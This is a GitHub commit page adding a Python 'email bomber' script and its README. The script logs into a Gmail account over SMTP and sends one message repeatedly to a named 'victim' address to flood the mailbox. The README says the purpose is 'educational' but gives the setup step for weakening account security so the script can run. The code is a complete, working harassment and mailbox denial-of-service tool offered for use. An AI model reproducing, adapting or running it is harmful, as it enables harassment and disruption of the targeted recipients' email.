Skip to content

Commit c803542

Browse files
authored
Merge pull request #353 from TaniaMalhotra/email-bomber
email bomber added
2 parents 08c0cf3 + aafa8b3 commit c803542

File tree

2 files changed

+48
-0
lines changed

2 files changed

+48
-0
lines changed

Python/email-bomber/README.md

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# Email bomber
2+
- - - - - - - - -
3+
# Aim
4+
Aim of the script is to serve as an email bomber. An email bomb consists of sending large volumes of email to an address in an attempt to overflow the mailbox.
5+
```PLEASE NOTE THIS SCRIPT IS FOR EDUCATIONAL PURPOSES ONLY```
6+
7+
# To run
8+
9+
- To test it from your email, you'll have to log in via smtplib because it has flags this sort of login as "less secure", so what you have to do is go to this link while you're logged in to your google account, and allow the access: [here](https://www.google.com/settings/security/lesssecureapps)
10+
11+
- ```python bomber.py```</br>

Python/email-bomber/bomber.py

+37
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
import os
2+
import smtplib
3+
import getpass
4+
import sys
5+
import time
6+
7+
# input your credentials
8+
your_email = input('Type in your gmail address ')
9+
password = getpass.getpass('Please enter your password: ')
10+
11+
# bomb info
12+
victim = input('Enter the email address to be bombed ')
13+
body = input('Enter email body ')
14+
subject = input('Enter the subject of email ')
15+
max = input('Number of times you wish to bomb: ')
16+
17+
try:
18+
# default port and server name
19+
server = smtplib.SMTP('smtp.gmail.com',587)
20+
server.ehlo()
21+
server.starttls()
22+
# logging in with your credentials
23+
server.login(your_email,password)
24+
for i in range(0, int(max)):
25+
message = 'Subject: {}\n\n{}'.format(subject, body)
26+
server.sendmail(your_email,victim,message)
27+
time.sleep(1)
28+
print('Email {} sent'.format(i+1))
29+
sys.stdout.flush()
30+
31+
server.quit()
32+
print('\n Emails sent')
33+
34+
# handle exception
35+
except smtplib.SMTPAuthenticationError:
36+
print('Error occured in authentication')
37+
sys.exit()

0 commit comments

Comments
 (0)